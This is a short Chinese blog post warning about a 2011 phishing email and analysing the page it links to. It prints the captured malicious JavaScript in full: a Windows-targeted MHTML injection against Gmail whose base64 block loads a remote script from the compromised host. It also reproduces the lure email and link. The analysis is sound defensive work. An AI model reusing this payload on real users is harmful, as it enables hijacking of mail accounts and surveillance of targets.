又收到了病毒邮件 Fwd: 一起加油

高明也收到了：

http://www.flickr.com/photos/gaoming/5551894777/

他的检测结果：

通过telnet 80端口得到源码如下：

$ telnet www.solidaritycenter.org 80
Trying 198.65.135.49...
Connected to www.solidaritycenter.org.
Escape character is '^]'.
GET www.solidaritycenter.org/files/India.html

function twd() {
var sUserAgent = navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");

if (isWin) {
var isWin2K = sUserAgent.indexOf("Windows NT 5.0") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
var isWinXP = sUserAgent.indexOf("Windows NT 5.1") > -1 || sUserAgent.indexOf("Windows XP") > -1;
var isWin2003 = sUserAgent.indexOf("Windows NT 5.2") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2K || isWinXP ||isWin2003) document.location="mhtml:https://mail.google.com/mail/h/nwnibaprolyc/?ServiceLogin=accounts&service=mail&passive=true&rm=false&continue=ServiceLogin&s=l&l=%250aContent-Type: multipart/related; boundary=boundary%250aa%250d%250d--boundary%250a%2520Content-Location:twd%250a%2520Content-Transfer-Encoding:base64%250d%250dPHNjcmlwdCBzcmM9aHR0cDovL3d3dy5zb2xpZGFyaXR5Y2VudGVyLm9yZy9maWxlcy9JbmRpYS5qcz48L3NjcmlwdD4=%250d%250d--boundary--%250a&!twd";

var isWinVista = sUserAgent.indexOf("Windows NT 6.0") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
var isWin7 = sUserAgent.indexOf("Windows NT 6.1") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7 || isWinVista ) document.location="mhtml:https://mail.google.com/mail/h/nwnibaprolyc/?ServiceLogin=accounts&service=mail&passive=true&rm=false&continue=ServiceLogin&s=l&l=%0aContent-Type: multipart/related; boundary=boundary%0aa%0d%0d--boundary%0a%20Content-Location:twd%0a%20Content-Transfer-Encoding:base64%0d%0dPHNjcmlwdCBzcmM9aHR0cDovL3d3dy5zb2xpZGFyaXR5Y2VudGVyLm9yZy9maWxlcy9JbmRpYS5qcz48L3NjcmlwdD4=%0d%0d--boundary--%0a&!twd";
} 
return "other"; 
}

twd();

Connection closed by foreign host.

---------- Forwarded message ----------
From: alf oic <[email protected]>
Date: 2011/3/23
Subject: 一起加油
To: [email protected]


必须承认，有些国家确实在努力改变现状，也许它现在做得还不够好，但是希望它能越来越好，让我们一起加油……
http://www.solidaritycenter.org/files/India.html